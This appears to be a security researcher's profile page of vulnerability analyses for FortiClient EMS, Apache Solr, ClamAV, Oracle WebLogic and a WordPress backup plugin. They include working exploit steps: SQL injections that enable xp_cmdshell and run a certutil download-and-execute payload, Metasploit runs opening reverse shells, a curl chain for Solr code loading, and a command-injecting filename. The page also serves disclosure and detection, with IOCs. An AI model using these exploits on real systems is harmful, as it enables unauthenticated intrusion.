jheysel-r7 (119)
Last Login: April 12, 2024
jheysel-r7's Latest (20) Contributions
Technical Analysis
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.
Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID
parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell
which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM
.
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.
Testing SQLi
One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; –
into the vulnerable FCTID
parameter:
MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; -- IP=127.0.0.1 MAC=86:fc:61:82:77:66 FCT_ONNET=0 CAPS=32767 VDOM=default EC_QUARANTINED=0 SIZE= 1581 X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NDUzQzIwNzYtODA2Mi00NEEwLUExNUYtRTkxQzYzREVCMUJCCk5XSUZTPUV0aGVybmV0MHwyNTEuMjUxLjIyMC4yN3wxNTpiYzphZjowZDo0Yjo3M3wyNDIuMTI0LjE5Ny43Nnw3Nzo5ZTpiOTpjMTo5Njo4NnwxfCp8MApVVEM9MTcxMDI3MTc3NApQQ19ET01BSU49CkNPTV9NQU49Vk13YXJlLCBJbmMuCkNQVT1JbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjE1IENQVSBAIDIuNTBHSHoKTUVNPTEyMjg3CkhERD05OQpDT01fU049Vk13YXJlLTQyIDA0IGVkIDJkIDY0IGU4IDBiIDE0LTQ1IGU5IGU0IGY2IDVhIGM3IDY3IDgyCkRPTUFJTj0KV09SS0dST1VQPVdPUktHUk9VUApVU0VSX1NJRD1TLTEtNS0yMS0zMC0wLTMwLTUwMApHUk9VUF9UQUc9CkFER1VJRD0KRVBfRkdUQ0hLU1VNPTAKRVBfUlVMRUNIS1NVTT0wCldGX0ZJTEVTQ0hLU1VNPTAKRVBfQVBQQ1RSTENIS1NVTT0wCg== X-FCCK-REGISTER-END
A vulnerable endpoint will return a response containing the string KA_INTERVAL
like so:
FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|
Getting RCE
The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell
. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell
and then use it to execute a payload:
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload>
(as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell
.
Metasploit Module Demo
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 rhosts => 172.16.199.200 msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options Module options (exploit/windows/http/forticlient_ems_fctid_sqli): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8013 yes The target port (TCP) VHOST no HTTP server virtual host Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 8383 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target View the full module info with the info, or info -d command. msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run [*] Reloading module... [*] Started reverse TCP handler on 172.16.199.1:8383 [*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) [+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully [*] Sending stage (201798 bytes) to 172.16.199.200 [+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully [*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 meterpreter > getuid syServer username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC2 OS : Windows Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : KERBEROS Logged On Users : 16 Meterpreter : x64/windows meterpreter >
IOCs
There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\
that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log
and you can see the vulnerability being exploited as the FTCUID
parameter CBE8FC122B1A46D18C3541E1A8EFF7BD'
is being injected with SQL commands which enable the xp_cmdshell
which is then used to launch calc.exe
"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:30][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}
References
Technical Analysis
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.
This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.
The three API functions that this exploit uses to achieve code execution are as follows:
- /admin/configs?action=UPLOAD
- /admin/collections?action=CREATE
- /admin/collections?action=BACKUP
The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ;
in order for it to be executed.
A number of extra steps are required in order to get that .class file to execute. Upload a config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations
which is the path to be exported and name
which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
This will export collection1
to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/
Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1
and name set to lib
:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1
You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.
Now the attacker uploads a second configuration. This time without a malicious .class
but with:
<valueSourceParser name= "myfunc" class= "zk_backup_0.configs.conf1.Exp" />
Set inside solrconfig.xml
. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static
method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.
And Voilà! If everything has gone to plan the code in the static
method of the malicious class should execute in the context of the user running Apache Solr.
Attacker Value and Exploitability Explained
Attacker value 3/5
Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.
Exploitability 4/5
If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.
Try it yourself
If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:
version: '3' services: solr: image: solr:9.0.0 ports: - "8983:8983" - "5005:5005" command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"
Load the metasploit module for this exploit, set the rhost
and lhost
values, run it and you should get a session in the context of the user running Apache Solr:
msf6 > use linux/http/apache_solr_backup_restore [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/apache_solr_backup_restore) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Running check method [*] 127.0.0.1:8983: Authentication not required [*] Found Apache Solr 9.0.0 [*] OS version is Linux amd64 6.6.16-linuxkit [+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0 [+] Uploaded configuration successfully [+] Backed up collection successfully [+] Backed up collection successfully [+] Uploaded configuration successfully [*] Sending stage (3045380 bytes) to 172.16.199.1 [+] Successfully dropped the payload [*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700 [*] Cleaning up... meterpreter > getuid Server username: solr meterpreter > sysinfo Computer : 192.168.128.2 OS : Ubuntu 20.04 (Linux 6.6.16-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Technical Analysis
ClamAV is a open-source antivirus engine that has been around for the past 21 years and runs on many different operating systems including for AIX, BSD, HP-UX, Linux, macOS, OpenVMS, OSF, Solaris and Haiku and as of version 0.97.5, ClamAV builds and runs on Microsoft Windows.
A command injection vulnerability exists in the following ClamAV versions:
- 0.104 (all patch versions)
- 0.105 (all patch versions)
- 1.0.0 through 1.0.4 (LTS)
- 1.1 (all patch versions)
- 1.2.0 and 1.2.1
The command injection vulnerability allows users to execute commands in the context of the user running the ClamAV application, which is commonly a ClamAV daemon running as root though many other configurations are possible.
The vulnerability stems from the VirusEvent
feature which is not enabled by default but can be configured in ClamAV’s conf file: /etc/clamav/clamd.conf
. The feature is defined in the clamd.conf
as follows:
# Execute a command when virus is found. In the command string %v will # be replaced with the virus name and %f will be replaced with the file name. # Additionally, two environment variables will be defined: $CLAM_VIRUSEVENT_FILENAME # and $CLAM_VIRUSEVENT_VIRUSNAME. # Default: no #VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"
As stated in the definition above %v
is the virus name and %f
is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.
The VirusEvent
feature is handled by the virusaction
function which is defined in the file clamd/clamd_others.c
:
void virusaction(const char *filename, const char *virname, const struct optstruct *opts) { pid_t pid; const struct optstruct *opt; char *buffer_file, *buffer_vir, *buffer_cmd, *path; const char *pt; size_t i, j, v = 0, f = 0, len; char *env[4]; if (!(opt = optget(opts, "VirusEvent"))->enabled) return; path = getenv("PATH"); env[0] = path ? strdup(path) : NULL; j = env[0] ? 1 : 0; /* Allocate env vars.. to be portable env vars should not be freed */ buffer_file = (char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2); if (buffer_file) { sprintf(buffer_file, "%s=%s", VE_FILENAME, filename); env[j++] = buffer_file; } buffer_vir = (char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2); if (buffer_vir) { sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname); env[j++] = buffer_vir; } env[j++] = NULL; pt = opt->strarg; while ((pt = strstr(pt, "%v"))) { pt += 2; v++; } pt = opt->strarg; while ((pt = strstr(pt, "%f"))) { pt += 2; f++; } len = strlen(opt->strarg); buffer_cmd = (char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char)); if (!buffer_cmd) { if (path) xfree(env[0]); xfree(buffer_file); xfree(buffer_vir); return; } for (i = 0, j = 0; i < len; i++) { if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') { strcat(buffer_cmd, virname); j += strlen(virname); i++; } else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') { strcat(buffer_cmd, filename); j += strlen(filename); i++; } else { buffer_cmd[j++] = opt->strarg[i]; } } pthread_mutex_lock(&virusaction_lock); /* We can only call async-signal-safe functions after fork(). */ pid = vfork(); if (pid == 0) { /* child */ _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env)); } else if (pid > 0) { /* parent */ pthread_mutex_unlock(&virusaction_lock); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue; } else { pthread_mutex_unlock(&virusaction_lock); logg(LOGG_ERROR, "VirusEvent: fork failed.\n"); } if (path) xfree(env[0]); xfree(buffer_cmd); xfree(buffer_file); xfree(buffer_vir); }
The main purpose of the virusaction
function is to handle a virus event as defined by the conf file discussed earlier. The function accepts a filename
and a virname
(virusname) and its output is a virus alert which is a command run by the following line of code:
_exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
As we can control the inputs to the buffer_cmd
command injection is trivial.
Example
If clamd.conf
is configured to run an echo command when a VirusEvent is detected, like so:
VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"
Then the following file name will cause the whoami
command to be executed and the output of the command will be redirected to stdout as defined by the VirusEvent.
echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout
Then we can see the whoami
command being executed in the following output:
VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path /host/crypto-miner/xmrig root
References
https://securityonline.info/no-click-required-poc-available-for-clamav-command-injection-bug-cve-2024-20328/
https://amitschendel.github.io/vulnerabilites/CVE-2024-20328/
Technical Analysis
CVE-2023-21839
In early 2023 a vulnerability was found in the Oracle WebLogic IIOP/T3 protocol. When the IIOP/T3 protocol is enabled, unauthenticated attackers are able to execute arbitrary commands on the system. The vulnerability’s sink point was the following class weblogic.deployment.jms.ForeignOpaqueReference.class
which contains a function getReferent
which calls the following code:
try { var5 = var4.lookup(this.remoteJNDIName); }
This allows the attacker to initiate a JNDI injection attack by hosting malicious code on their own JNDI server to be downloaded and run by WebLogic. However, due to mitigations put in place by Java this JNDI injection technique used by the exploit is only exploitable on WebLogic Server running older versions of Java.
In the last few years Oracle has applied several restrictions that aimed to prevent attackers from exploiting JNDI Injection vulnerabilities. One example of such restriction is the trustURLCodebase
property which was introduced in Java Development Kit 8 – Update 121. This property prevents vulnerable applications from loading malicious objects from remote RMI repositories. Later, a similar restriction was added also to cover LDAP repositories.
Since those restrictions were added, exploiting JNDI Injection vulnerabilities now depends on existing gadgets, which means the classes used in the exploit must reside in the vulnerable application class path for the exploit to work.
CVE-2024-20931
In the January 2024 patch released by Oracle, a remote command execution vulnerability CVE-2024-20931 based on the Weblogic T3\IIOP protocol was fixed. This vulnerability still exploits the getReferent
function inside weblogic.deployment.jms.ForeignOpaqueReference.class
but it bypasses the patch put in place by CVE-2023-21839. It does this by setting the malicious JNDI url to the environment variable java.naming.provider.url
:
String providerURL = (String) this.jndiEnvironment.get("java.naming.provider.url");
which gets initialized after getReferent
is called and allows for this JNDI injection to be exploited in an alternate manner.
Caveats
This vulnerability has the same Java version limitations of its predecessor. In order for the WebLogic Server to be vulnerable it must be running Java <= 1.8.0_151. Given that this version of java is over six years old, the attacker value of this unauthenticated RCE vulnerability is quite low.
References
https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/
https://github.com/dinosn/CVE-2024-20931
Technical Analysis
The Backup Migration Wordpress plugin describes itself as an all in one solution if you need to migrate your WordPress site to another host or just restore the site from a backup. The plugin is quite popular with over 80,000 active installs. Versions 1.3.7 and earlier suffer from an unauthenticated remote code execution vulnerability. The vulnerability is exploitable through the Content-Dir
header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php
endpoint.
Inside /includes/backup-heart.php
we can see all the headers of the request get loaded into the $fields
variable:
31 // Get fields from header 32 if (isFunctionEnabled('getallheaders')) { 33 $fields = getallheaders(); 34 }
Later on in the file we see the value of the user controlled content-dir
header is loaded into the BMI_ROOT_DIR
variable.
62 define('BMI_ROOT_DIR', $fields['content-dir']);
Then BMI_INCLUDES
gets defined as BMI_ROOT_DIR . 'includes'
64 define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
And finally the user controlled variable which is now BMI_INCLUDES
gets fed into a require_once
statement.
118 require_once BMI_INCLUDES . '/bypasser.php';
Now you might be thinking – a user controlled variable being fed into a require
statement? Sounds like a Local File Inclusion vulnerability. You would be correct if it weren’t for a very neat technique called PHP Filter Chaining.
PHP Filter Chaining
php://filter
is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. The php://filter
target has one required parameter which is resource
and it specifies the stream that you would like to filter. For the purposes of PHP filter chaining we can set the resource to resource=php://temp
as we’re not actually interested in filtering any specific stream we just want to abuse the functionality of PHP filters.
There are thousands of languages throughout the world and our basic ASCII encoding table is far too small to represent all the characters used to express all of these different languages. So many encoding tables were created to convert or translate characters from one language to another. These conversion tables are also accessible through php://convert.iconv.*.*
wrappers.
The key to PHP filter chaining is that in some cases byte signatures are prepended by switching encoding. These signatures do not get removed from the string when you switch encoding a second time, they stack. In the case of Unicode (UTF-16), it is required to give to your system the order of the bytes to use (Byte Order Mark BOM), by digging a bit in the RFC 2781 referring to it:
The Unicode Standard and ISO 10646 define the character “ZERO WIDTH
NON-BREAKING SPACE” (0xFEFF), which is also known informally as “BYTE
ORDER MARK” (abbreviated “BOM”).This usage, suggested by Unicode
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character
to a stream of Unicode characters as a “signature”; a receiver of such
a serialized stream may then use the initial character both as a hint
that the stream consists of Unicode characters and as a way to recognize
the serialization order.
The technique was first introduced by a Computer Security enthusiast by the name of Gynvael Coldwind and since the introduction of the technique people have figured out how to chain encoding switches to prepend every letter in the base64 character set. We’re able to base64 decode the string using the php filter convert.base64-decode
so the base64 character set is all we need to know how to convert. Here is an excerpt from the conversion table:
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", "C" => "convert.iconv.UTF8.CSISO2022KR", "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
If wish to prepend the character “A” to your string you simply need to chain these two filter conversion together: "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213
.
Turning the LFI in RCE
Now we can use the conversion table to prepend a PHP payload to the start of the of the string that gets interpreted by the require_once
statement on line 118 of
/includes/backup-heart.php
. The Content-Dir
header becomes very long and is subject to length HTTP request header length restrictions, however we are still able to send relatively small payloads such as <?php
echo>/tmp/pwned;?>
. The following POST request will send the aforementioned payload:
